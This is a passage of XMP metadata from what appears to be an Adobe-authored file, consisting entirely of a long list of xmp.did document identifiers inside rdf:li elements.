               <rdf:li>xmp.did:BDB5C76D5C10E111826FBFD7FD4418C8</rdf:li>
               <rdf:li>xmp.did:BDD2B75B5220681197A5B3F7BD80E4A6</rdf:li>
               <rdf:li>xmp.did:BDDDB312AB206811AADAE549D6335493</rdf:li>
               <rdf:li>xmp.did:BE06C1ADC162E1118504B731400FC892</rdf:li>
               <rdf:li>xmp.did:BE4F8B3D18CCDF11B72F90238024C79A</rdf:li>
               <rdf:li>xmp.did:BE6A18F519206811AB08B6C59174EB66</rdf:li>
               <rdf:li>xmp.did:BE703263631EE0118F0DBCECD0079EC1</rdf:li>
               <rdf:li>xmp.did:BE8D17819821E1119C5ACFF9410FFBA1</rdf:li>
               <rdf:li>xmp.did:BE95ED43AC7FE011ABB8BE0036A8B47A</rdf:li>
               <rdf:li>xmp.did:BEAA02A368F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:BEACBAD96F2268118083DD6A9D608EBA</rdf:li>
               <rdf:li>xmp.did:BEB549E694F7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:BEBE9B33ED206811808393D1ADB6772F</rdf:li>
               <rdf:li>xmp.did:BED756C264A1E01184BFDA78B2B86BCD</rdf:li>
               <rdf:li>xmp.did:BEFEB43ADFFEDE11B284FB4AD8643051</rdf:li>
               <rdf:li>xmp.did:BF0FF0E5621511E085C1D1F80F173C23</rdf:li>
               <rdf:li>xmp.did:BF20BD0A1A2068118DBBEE8FF21414E6</rdf:li>
               <rdf:li>xmp.did:BF2C920C8E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:BF334F5BDE5CDF11B075A642DD273F8B</rdf:li>
               <rdf:li>xmp.did:BF347B8D804DDF1194D8EB13EAA37FE9</rdf:li>
               <rdf:li>xmp.did:BF45DF9E092068118C14D0600B105B47</rdf:li>
               <rdf:li>xmp.did:BF63DD95B2CCE0119EBDE7C04FE850A7</rdf:li>
               <rdf:li>xmp.did:BF7C797A9EA7E011B01BA4DFDBC23FA5</rdf:li>
               <rdf:li>xmp.did:BF7E93310B2068119109E40C65AF52D5</rdf:li>
               <rdf:li>xmp.did:BF9B22EE162068118083B78A909B2B11</rdf:li>
               <rdf:li>xmp.did:BFACBAD96F2268118083DD6A9D608EBA</rdf:li>
               <rdf:li>xmp.did:BFC3FC3B0B2068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:BFD75184AE21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:BFE2188E06EBDF118949AE5D7DB8F72C</rdf:li>
               <rdf:li>xmp.did:C028BC2D2E2068118F62A2D886FC3EA7</rdf:li>
               <rdf:li>xmp.did:C03040BFDF90DF11AE82CBA880F138F9</rdf:li>
               <rdf:li>xmp.did:C04BD4E7C09BDF11AFDDE3BAE1452D92</rdf:li>
               <rdf:li>xmp.did:C0748BFBE1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:C074A85E06F7DE119CCA8227581679DF</rdf:li>
               <rdf:li>xmp.did:C085439615206811871FE459E5C10885</rdf:li>
               <rdf:li>xmp.did:C0B9333FF656E0119E9BF959F2C32C3A</rdf:li>
               <rdf:li>xmp.did:C0FA3368FB61DF118486C589709AD463</rdf:li>
               <rdf:li>xmp.did:C107EE19BD48E111B306BB55BD13A17C</rdf:li>
               <rdf:li>xmp.did:C11D62CE89DFE011B929CF6BC476BD04</rdf:li>
               <rdf:li>xmp.did:C12C2402E064DD11AE6AB030FE2B7C4A</rdf:li>
               <rdf:li>xmp.did:C12F6023082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:C12F7F6515206811994CB7BCB4921805</rdf:li>
               <rdf:li>xmp.did:C16B15488B21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:C17A8F0199A1E0118878B6C04D1A04AD</rdf:li>
               <rdf:li>xmp.did:C1838F8DDA0AE01197429FC76726047E</rdf:li>
               <rdf:li>xmp.did:C1A2FBFD4D0DE2118042BB7D4501BF8A</rdf:li>
               <rdf:li>xmp.did:C1A9DF14DE9CDF118817EBE6E8614D49</rdf:li>
               <rdf:li>xmp.did:C1F456B1E5F0DF11A0DC84A10DADEBAB</rdf:li>
               <rdf:li>xmp.did:C1F748A95921681188C6BD0FAC4EC9BB</rdf:li>
               <rdf:li>xmp.did:C23565E81520681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:C24A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C25A2B7644C9E011876ACD020D3E5B8C</rdf:li>
               <rdf:li>xmp.did:C26002A90BA4E1118A96EF6EABC88C7D</rdf:li>
               <rdf:li>xmp.did:C260BC736FF5E011AE33BF13D9C1F74F</rdf:li>
               <rdf:li>xmp.did:C26C0D495267DF11B2E5C8CA2A20B501</rdf:li>
               <rdf:li>xmp.did:C29C58B9EBDADF11AF20E3D3A3FCE87D</rdf:li>
               <rdf:li>xmp.did:C29F4E9960D2E0118A79CAB094491032</rdf:li>
               <rdf:li>xmp.did:C2AD9363CD55E01183CDCC2F4C9AC40B</rdf:li>
               <rdf:li>xmp.did:C2DABB9C372068118A6DFCCD72587E50</rdf:li>
               <rdf:li>xmp.did:C2FE91D6B461DF118EB2844440C95E24</rdf:li>
               <rdf:li>xmp.did:C355D7A56CC9E011BE5CF2843EAC54C4</rdf:li>
               <rdf:li>xmp.did:C359EBCA07206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:C36E394A4E3DE011BD0CA68D606AEC07</rdf:li>
               <rdf:li>xmp.did:C373CEC0362068118F62D0F7010AC02F</rdf:li>
               <rdf:li>xmp.did:C38F0EAD67206811A26EEF0A84B9044C</rdf:li>
               <rdf:li>xmp.did:C3D6788F3D88E111BF8FA8DC12EEFFFF</rdf:li>
               <rdf:li>xmp.did:C3E99553BA2BE2118052DF928F7D1CCC</rdf:li>
               <rdf:li>xmp.did:C43B5085132068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C4411611AFBBE01189DAB43C88389E52</rdf:li>
               <rdf:li>xmp.did:C44A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C479F20430A6DF119C3AB96E6BC803AD</rdf:li>
               <rdf:li>xmp.did:C486B274072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:C4987993D02068119457F89D978401EF</rdf:li>
               <rdf:li>xmp.did:C49E967A961611E19B3DFBB2B78D5616</rdf:li>
               <rdf:li>xmp.did:C4AD9363CD55E01183CDCC2F4C9AC40B</rdf:li>
               <rdf:li>xmp.did:C4AF4E884A20681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:C4B77AFC675511E091DBB005BFD6BA11</rdf:li>
               <rdf:li>xmp.did:C4EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C504578E07206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:C53485763605E011B0878B10470BE98C</rdf:li>
               <rdf:li>xmp.did:C537362071FDE111A6CBD28E3204D05F</rdf:li>
               <rdf:li>xmp.did:C53C55E5DC85E011BCF1901177E71BAB</rdf:li>
               <rdf:li>xmp.did:C53D8B810F2068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:C557CDFEDB20E1119F85BCA918D64217</rdf:li>
               <rdf:li>xmp.did:C57F117407206811AE56F9DF145DFB90</rdf:li>
               <rdf:li>xmp.did:C597C9E96B86DE118E3ABAA4690EC045</rdf:li>
               <rdf:li>xmp.did:C5B4C90F4321681188C6D30DA152C0CC</rdf:li>
               <rdf:li>xmp.did:C5D75184AE21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:C5F5FBA4B262DF11A5908EE048EFD3D2</rdf:li>
               <rdf:li>xmp.did:C63B5085132068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C63D5474072068118A6DB02CBE664136</rdf:li>
               <rdf:li>xmp.did:C65CE2DD9825681194B3BB12004967BA</rdf:li>
               <rdf:li>xmp.did:C665DA75272068118DBB8ABDC264B36A</rdf:li>
               <rdf:li>xmp.did:C66C0D495267DF11B2E5C8CA2A20B501</rdf:li>
               <rdf:li>xmp.did:C674BF7FAC68E111AECEAC50B4A6B026</rdf:li>
               <rdf:li>xmp.did:C67F1174072068119109E40C65AF52D5</rdf:li>
               <rdf:li>xmp.did:C6987993D02068119457F89D978401EF</rdf:li>
               <rdf:li>xmp.did:C69C58B9EBDADF11AF20E3D3A3FCE87D</rdf:li>
               <rdf:li>xmp.did:C6A1316B7A9311E08FB7BFB7834C8092</rdf:li>
               <rdf:li>xmp.did:C6ABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:C6B8E7B8A81DE011BAA6EBE3B75F964B</rdf:li>
               <rdf:li>xmp.did:C6C8B5E78F64E211B45DD1C526A3B765</rdf:li>
               <rdf:li>xmp.did:C6EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C6F4B80862DFE011AB0C82242CB4ABF8</rdf:li>
               <rdf:li>xmp.did:C70A1F8A9349DE119B948BACA98BBECA</rdf:li>
               <rdf:li>xmp.did:C7110E5F5076DF118E61ACD179D06244</rdf:li>
               <rdf:li>xmp.did:C73A523D1846DF118065D80F7B596DE4</rdf:li>
               <rdf:li>xmp.did:C74948DCBEFFDE11A2C4FA92228FE725</rdf:li>
               <rdf:li>xmp.did:C7ABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:C7E5F38D830EDF11AD72E43AD91B55C7</rdf:li>
               <rdf:li>xmp.did:C82B0AFF082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:C845CA63952011E0B7FCAB469E65ED70</rdf:li>
               <rdf:li>xmp.did:C84A78849BB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:C85758D352206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:C8656C4D0C20681192B0CF50B4F61303</rdf:li>
               <rdf:li>xmp.did:C86B3BB49AE6E011ACAD995E603963FD</rdf:li>
               <rdf:li>xmp.did:C885439615206811871FE459E5C10885</rdf:li>
               <rdf:li>xmp.did:C88B63F01C2DE011AF01E4C0E7A7D0D9</rdf:li>
               <rdf:li>xmp.did:C8C3AD0F9810E0119E3EED6DA52BB020</rdf:li>
               <rdf:li>xmp.did:C8C6B45C1E206811B6CBAD7346CA0012</rdf:li>
               <rdf:li>xmp.did:C8D7ADCA8B55E011983EC27DD90F323F</rdf:li>
               <rdf:li>xmp.did:C8D94497193FE011BCB2EBD6700DA6F2</rdf:li>
               <rdf:li>xmp.did:C8EB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:C8F09C96BF57E111B6B4EE150148C773</rdf:li>
               <rdf:li>xmp.did:C952816D83206811BCCDE187B49CA19C</rdf:li>
               <rdf:li>xmp.did:C955F46BF5C4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:C97F117407206811994CF132BC83D69A</rdf:li>
               <rdf:li>xmp.did:C9A314CADB74E01183F7CF6DECDEA188</rdf:li>
               <rdf:li>xmp.did:C9C04586BC53E0119D3985FB4A82845E</rdf:li>
               <rdf:li>xmp.did:C9E8CCFA0F5C11E0BA48D224F2326A69</rdf:li>
               <rdf:li>xmp.did:CA5CE2DD9825681194B3BB12004967BA</rdf:li>
               <rdf:li>xmp.did:CA6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CA8B034392216811AB65A20D70355B6B</rdf:li>
               <rdf:li>xmp.did:CA907D710A206811871FB67A5203D1F1</rdf:li>
               <rdf:li>xmp.did:CA949CCAAFCCDF11AAA5ECB36CFA01C9</rdf:li>
               <rdf:li>xmp.did:CA965767E448DF11BD5AD847CAF7D20F</rdf:li>
               <rdf:li>xmp.did:CAA5BA052300E2118295C79BA4470A1D</rdf:li>
               <rdf:li>xmp.did:CAA83FFC05216811910987CF0230F4F6</rdf:li>
               <rdf:li>xmp.did:CAB26B3347BFDF11B227F22ACDD3F69E</rdf:li>
               <rdf:li>xmp.did:CAC3CE2B152068118F62A3A183D34D6B</rdf:li>
               <rdf:li>xmp.did:CAD23720A27DE011B2AAA058498F3016</rdf:li>
               <rdf:li>xmp.did:CAD65C2A944611DFAD30E8C124A99D8A</rdf:li>
               <rdf:li>xmp.did:CAD848C7132068118F62C8B35A3087C2</rdf:li>
               <rdf:li>xmp.did:CAEB4F33452068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:CB3C8935D32FE011BF3EB0F71922FF5C</rdf:li>
               <rdf:li>xmp.did:CB5BBB441A2068118083EE03884A9181</rdf:li>
               <rdf:li>xmp.did:CB5CAC3AAAD1E01189C59130EDE658F2</rdf:li>
               <rdf:li>xmp.did:CB6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CBB9FF72DC1CE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:CBC2D56C76D0E011AE89F77DEF966F69</rdf:li>
               <rdf:li>xmp.did:CBCA914B2520681186C89F4E62C56BFC</rdf:li>
               <rdf:li>xmp.did:CBD0B6C4107611E188C986B42CAF95E2</rdf:li>
               <rdf:li>xmp.did:CBDBB8F284A5E111B27FAAF2CB10FBA4</rdf:li>
               <rdf:li>xmp.did:CBEEAB899633DF1195CECCB8F131145E</rdf:li>
               <rdf:li>xmp.did:CC0C567EB42168118F0FBB5DBDD97766</rdf:li>
               <rdf:li>xmp.did:CC1781310CC6DF1199CA8A528D44F364</rdf:li>
               <rdf:li>xmp.did:CC18FF9593BCE211A3A5CA60DD7D387F</rdf:li>
               <rdf:li>xmp.did:CC1C7F2F132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:CC20579C3A20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:CC233AAA1220681180839CE599C3AD30</rdf:li>
               <rdf:li>xmp.did:CC49A8FC6195DE11A97FFAA811454526</rdf:li>
               <rdf:li>xmp.did:CC4AB591A7DCDF11BF79FA62B51DF6C7</rdf:li>
               <rdf:li>xmp.did:CC68694A34206811A257FF904FD97A4A</rdf:li>
               <rdf:li>xmp.did:CC7F3A7707206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:CC84C070310D11E0A41D9A15BD8FDB97</rdf:li>
               <rdf:li>xmp.did:CCA74374072068118C14B6E32A0451D5</rdf:li>
               <rdf:li>xmp.did:CCABA9CFEE9BE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:CCB3A3B94A21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:CCBBC4458F74E011AE3F83545C46DC51</rdf:li>
               <rdf:li>xmp.did:CCD0AA46E433E211B080FAA1E1CF936E</rdf:li>
               <rdf:li>xmp.did:CCD848C7132068118F62C8B35A3087C2</rdf:li>
               <rdf:li>xmp.did:CCE142800AF6DE11A0C2964358D2F659</rdf:li>
               <rdf:li>xmp.did:CCECF0D70C8AE111A162CEB747E6BFD7</rdf:li>
               <rdf:li>xmp.did:CD2AF5DCA5C4DF11BA82AFFFE558943D</rdf:li>
               <rdf:li>xmp.did:CD67D8767D01E211A29E8D85CBAF2D67</rdf:li>
               <rdf:li>xmp.did:CD6813070EEBDF11B9A4AA1E99D475B0</rdf:li>
               <rdf:li>xmp.did:CD7EF54FA644DE11A5E69E0898C580C1</rdf:li>
               <rdf:li>xmp.did:CD8E920A3172DF119D54C6C3DCAFBAAA</rdf:li>
               <rdf:li>xmp.did:CD930175072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:CDB3A3B94A21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:CDE88BCE4B6FDF11B218B00D847DC297</rdf:li>
               <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D925B</rdf:li>
               <rdf:li>xmp.did:CE153DAB66206811994C9B7F51AE0063</rdf:li>
               <rdf:li>xmp.did:CE21BFB2102068118F62E190263115F9</rdf:li>
               <rdf:li>xmp.did:CE2DDF9A8C13E2119F76DBEFB9F8FF7B</rdf:li>
               <rdf:li>xmp.did:CE469BE7055DE111A124EDBCAF435B8A</rdf:li>
               <rdf:li>xmp.did:CE55F5727120681197A5FDF89CF71714</rdf:li>
               <rdf:li>xmp.did:CE58F6CF24A011E19E12B87F7C1C15CF</rdf:li>
               <rdf:li>xmp.did:CE6695AD509CE011A9849FED36CF01BC</rdf:li>
               <rdf:li>xmp.did:CE6B7B6693B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:CE7A16A70B11E11194B8E4CDCB5E146C</rdf:li>
               <rdf:li>xmp.did:CE807746834D11E0B62FB7127DA0FEAF</rdf:li>
               <rdf:li>xmp.did:CEA314CADB74E01183F7CF6DECDEA188</rdf:li>
               <rdf:li>xmp.did:CED184CBA02068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:CEDD717E815111E084CF9208B3BF176F</rdf:li>
               <rdf:li>xmp.did:CF05856847206811AEE4ECC20A5D0880</rdf:li>
               <rdf:li>xmp.did:CF076AC713206811822AE2C1D31DD905</rdf:li>
               <rdf:li>xmp.did:CF0F772E9F92E011B00AB787F8822B46</rdf:li>
               <rdf:li>xmp.did:CFB6F4B7EEC4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:CFBF4E58455AE011B46F8279F527A1C1</rdf:li>
               <rdf:li>xmp.did:CFC55319B973DF11BD88861D7D0A1B18</rdf:li>
               <rdf:li>xmp.did:CFC659F89E20DF118A73D73207D10630</rdf:li>
               <rdf:li>xmp.did:CFCBF6F8CD8311DFA249DFBA6DFC5141</rdf:li>
               <rdf:li>xmp.did:CFD9BF7E642011E09A57C4DC582798AF</rdf:li>
               <rdf:li>xmp.did:D0049E63829CE0118D4EBC9823EDBF3D</rdf:li>
               <rdf:li>xmp.did:D0264954A4DADF11BEE08D9B746800A3</rdf:li>
               <rdf:li>xmp.did:D028D5CC3D236811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:D02F9E9A75A5E1118FE7C695FF4AC513</rdf:li>
               <rdf:li>xmp.did:D0385D898772E0118C3089D479022CBD</rdf:li>
               <rdf:li>xmp.did:D04B2FA57F2468118A6DA8FFA0360EE4</rdf:li>
               <rdf:li>xmp.did:D0558D8E00ACE21196A784C3CEE5F236</rdf:li>
               <rdf:li>xmp.did:D05D1DD79FB0E211A6CC999F13B74FE8</rdf:li>
               <rdf:li>xmp.did:D0854A8E16206811A7BAA0072BE06874</rdf:li>
               <rdf:li>xmp.did:D099531188206811B841A65AE502C067</rdf:li>
               <rdf:li>xmp.did:D0A7CE91808CE011A0FC932931B9D7E7</rdf:li>
               <rdf:li>xmp.did:D0A9E34ACBDADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:D0B31BC50D206811871F81B8681E3F37</rdf:li>
               <rdf:li>xmp.did:D113248AE42068118BDAECB4C7294005</rdf:li>
               <rdf:li>xmp.did:D117B727584FE011B07AC3AB3AF6CADF</rdf:li>
               <rdf:li>xmp.did:D155F46BF5C4E1118DFE8CAB360B3A7D</rdf:li>
               <rdf:li>xmp.did:D171C5700C2BE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:D1B62A0C1BF7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:D1DE8BD96D2DE21199E0D96C73D27049</rdf:li>
               <rdf:li>xmp.did:D217B386CF51DE118702BAC19059DE69</rdf:li>
               <rdf:li>xmp.did:D23F8D4121226811AE56D84ACAF35011</rdf:li>
               <rdf:li>xmp.did:D263C670DE5DE011BB0EAD528CC88556</rdf:li>
               <rdf:li>xmp.did:D272197E13206811B647A18F11DD87B3</rdf:li>
               <rdf:li>xmp.did:D2BF5423BC20681188C69432872C4A2A</rdf:li>
               <rdf:li>xmp.did:D2C07B9A80206811871F82B520273E04</rdf:li>
               <rdf:li>xmp.did:D2D750523220681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:D30C30AA8D5FE1119C00CF3239360FFC</rdf:li>
               <rdf:li>xmp.did:D316FC348429E011A8B89C54CED456E2</rdf:li>
               <rdf:li>xmp.did:D3258C3318206811B83DC55B43B113F3</rdf:li>
               <rdf:li>xmp.did:D3451B801E25DF11BAB9C18CADBB71B8</rdf:li>
               <rdf:li>xmp.did:D34A6066251FE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:D366EFA10A20681191098977F35DFB2C</rdf:li>
               <rdf:li>xmp.did:D367491B24B1E011B2A4C9484D8C14D8</rdf:li>
               <rdf:li>xmp.did:D368B5044420681192B0C2218AE24713</rdf:li>
               <rdf:li>xmp.did:D36DB02BEF23E011A709EE79085E3A92</rdf:li>
               <rdf:li>xmp.did:D38D913B2023E011A28CB2C17663E322</rdf:li>
               <rdf:li>xmp.did:D3A50548028EE111BDF0B14E17080E88</rdf:li>
               <rdf:li>xmp.did:D3C068EC2321681192B0ED941B81D256</rdf:li>
               <rdf:li>xmp.did:D3C1E4C01A206811A298F9B019A4E17E</rdf:li>
               <rdf:li>xmp.did:D3D399022320681191098A39F9B5A384</rdf:li>
               <rdf:li>xmp.did:D3F21AF63A6111E0B888A069FAD6D755</rdf:li>
               <rdf:li>xmp.did:D4054EC11920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:D449ED75072068118A6DCDECC596EB6E</rdf:li>
               <rdf:li>xmp.did:D44D627707206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:D45FDEAB7A9311E08DB687AECA829785</rdf:li>
               <rdf:li>xmp.did:D474D8ACBB15E111AB6D93A93E698048</rdf:li>
               <rdf:li>xmp.did:D4775D6420071168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:D47BFA6ECB2168118DBBC5480D02D1C9</rdf:li>
               <rdf:li>xmp.did:D49A4C95C33EE1119CBABE87733F34D0</rdf:li>
               <rdf:li>xmp.did:D4B37F557A30E1118543FAA4C0F0C0E2</rdf:li>
               <rdf:li>xmp.did:D4C63AF19A6AE011A437C7EE6964A28D</rdf:li>
               <rdf:li>xmp.did:D4D2285E40206811871FD6D9ADEF8938</rdf:li>
               <rdf:li>xmp.did:D4D307212820681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:D4EA3821612068118F62CB506406CA27</rdf:li>
               <rdf:li>xmp.did:D50075CD282068119109C35E4994DFBC</rdf:li>
               <rdf:li>xmp.did:D55F3020192068119109E5FE6F353B41</rdf:li>
               <rdf:li>xmp.did:D568B5044420681192B0C2218AE24713</rdf:li>
               <rdf:li>xmp.did:D5720918E46411E09D0EB9B4FE949754</rdf:li>
               <rdf:li>xmp.did:D58C284B1638E0119CCBC45B8A98BC1C</rdf:li>
               <rdf:li>xmp.did:D5A37ABA6248E1119296AFD8AEC0587B</rdf:li>
               <rdf:li>xmp.did:D5B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D5D9C4ECE5BDE011B0BBD5E3244285CA</rdf:li>
               <rdf:li>xmp.did:D5DFE1B26BD011DFA74DF6D674CDC773</rdf:li>
               <rdf:li>xmp.did:D608018C282068118A6D94CA2FB9BD94</rdf:li>
               <rdf:li>xmp.did:D6134AC32BADE011B4F8CAE3236EA224</rdf:li>
               <rdf:li>xmp.did:D64E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D65E9B6B9B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:D69086151B206811871F8AFC203B9F39</rdf:li>
               <rdf:li>xmp.did:D69F8CA00C20681195FEA93185EB8BBA</rdf:li>
               <rdf:li>xmp.did:D6A6E8512020681188C6DFA994DA683A</rdf:li>
               <rdf:li>xmp.did:D6B50152132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:D6CBABDFEF97E011941DDF9DFEF4A3CC</rdf:li>
               <rdf:li>xmp.did:D6E39268082068118A6DF6FE97EAF5F6</rdf:li>
               <rdf:li>xmp.did:D6EA3821612068118F62CB506406CA27</rdf:li>
               <rdf:li>xmp.did:D6EA4607CD8311DF8EDEDC1460641DE3</rdf:li>
               <rdf:li>xmp.did:D7176B6D58E0E011B95EDA3E835E31DF</rdf:li>
               <rdf:li>xmp.did:D7200B25316ADF11BBDBF2B8175EFA10</rdf:li>
               <rdf:li>xmp.did:D736F40B6EEBDF119CE89B15806AEDB9</rdf:li>
               <rdf:li>xmp.did:D74079FB02216811871F8B25E38A2B4D</rdf:li>
               <rdf:li>xmp.did:D74E0BEDE60A11DFADD7ABB47E359CF2</rdf:li>
               <rdf:li>xmp.did:D74E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D76FEA384729681188C6BE54CC59F542</rdf:li>
               <rdf:li>xmp.did:D77EFDE90F5CDF11B4809365EE8005C3</rdf:li>
               <rdf:li>xmp.did:D79444774A2068118DBBACDD367EC38B</rdf:li>
               <rdf:li>xmp.did:D7A082228321681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:D7B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D7B6A767DBAE11E09201EE5241615466</rdf:li>
               <rdf:li>xmp.did:D7BA1EA5995CDF11AD45CC120E7E64E2</rdf:li>
               <rdf:li>xmp.did:D7E1D5750720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:D83C6E8818206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:D85DB58C20AAE011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:D86721DBB0216811ACAFA04FB95DDACB</rdf:li>
               <rdf:li>xmp.did:D883498B272068118DBBF11625A05A5C</rdf:li>
               <rdf:li>xmp.did:D883D4C80775E011B3C9FB563EB9BBC3</rdf:li>
               <rdf:li>xmp.did:D8916804C5206811871F84AFAC89F052</rdf:li>
               <rdf:li>xmp.did:D89F27FF1A20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:D8A37ABA6248E1119296AFD8AEC0587B</rdf:li>
               <rdf:li>xmp.did:D8D3659C0B20681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:D9067F028B256811994C95D215E3C31B</rdf:li>
               <rdf:li>xmp.did:D90FC431F119E211B43B8E92589DA083</rdf:li>
               <rdf:li>xmp.did:D92B2DCBCF89DF119C22F96AB2E9AB99</rdf:li>
               <rdf:li>xmp.did:D93274E8B36DDF11B2D1E342D34EB81B</rdf:li>
               <rdf:li>xmp.did:D9487D300A2068118DBB90708B5C4BE8</rdf:li>
               <rdf:li>xmp.did:D94E27203082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:D95D3C7D6BD111DFA74DF6D674CDC773</rdf:li>
               <rdf:li>xmp.did:D99CE9603E09E011A13CF249BFF51509</rdf:li>
               <rdf:li>xmp.did:D9A628947F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:D9B44C7507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:D9B4638A9A1E11E19BE4C7C0251D0A6F</rdf:li>
               <rdf:li>xmp.did:D9B4638E9A1E11E19BE4C7C0251D0A6F</rdf:li>
               <rdf:li>xmp.did:D9B8D1DC1E2068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:D9C3D3072920681194579828B43B938A</rdf:li>
               <rdf:li>xmp.did:D9D0C475072068118A6D8C8584E42AF0</rdf:li>
               <rdf:li>xmp.did:DA30AD8C12206811910989406DF36966</rdf:li>
               <rdf:li>xmp.did:DA67C380402068118F62A588B3F859EB</rdf:li>
               <rdf:li>xmp.did:DA6803A1BB1BDF11BE488DB0BB394C1B</rdf:li>
               <rdf:li>xmp.did:DA7D3837092068118083AFE81BBB41F0</rdf:li>
               <rdf:li>xmp.did:DA8321A0FE11E011A95D87703A2192F9</rdf:li>
               <rdf:li>xmp.did:DAA1D198ADB6DF11BCFD93E76A0DC2F4</rdf:li>
               <rdf:li>xmp.did:DAB2A2F9FB76DE11BAF5E143B0B86FF1</rdf:li>
               <rdf:li>xmp.did:DAB8D1DC1E2068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:DAC8507854D5DF11A094DF01E6EDE320</rdf:li>
               <rdf:li>xmp.did:DB00867DC148E211975BE3F01A671811</rdf:li>
               <rdf:li>xmp.did:DB1E4C1CE87ADF118CB7FEA7CD74D35B</rdf:li>
               <rdf:li>xmp.did:DB6BC860392168118F62F638EA26DDDD</rdf:li>
               <rdf:li>xmp.did:DB9AABDB4185E1118EA593F7D41D8688</rdf:li>
               <rdf:li>xmp.did:DBB74BCAAEF2E011AFB3985041AEA7D5</rdf:li>
               <rdf:li>xmp.did:DBDC160125286811AFFD8310599E7E7C</rdf:li>
               <rdf:li>xmp.did:DBF03BB0282068118DBBBBF8CFA70188</rdf:li>
               <rdf:li>xmp.did:DBF226EE2D81E011A575FF8823ABA620</rdf:li>
               <rdf:li>xmp.did:DC00867DC148E211975BE3F01A671811</rdf:li>
               <rdf:li>xmp.did:DC3A9A2356206811871FF027B31BAC43</rdf:li>
               <rdf:li>xmp.did:DC4F4822108DE011A1C7E8C95E0A5A44</rdf:li>
               <rdf:li>xmp.did:DC74AD2D0C206811B1A4827FBE321FD6</rdf:li>
               <rdf:li>xmp.did:DC7625C4C8226811994CAA9908F19741</rdf:li>
               <rdf:li>xmp.did:DC896F74072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:DC9C5AAF09206811855EB75FBCCA1BB5</rdf:li>
               <rdf:li>xmp.did:DCADDF11322068118C14C2F38A17584F</rdf:li>
               <rdf:li>xmp.did:DCC0E10A1F95DF11B30EEA8B8FA3A1BD</rdf:li>
               <rdf:li>xmp.did:DCC1853A3A216811AEE4ECC20A5D0880</rdf:li>
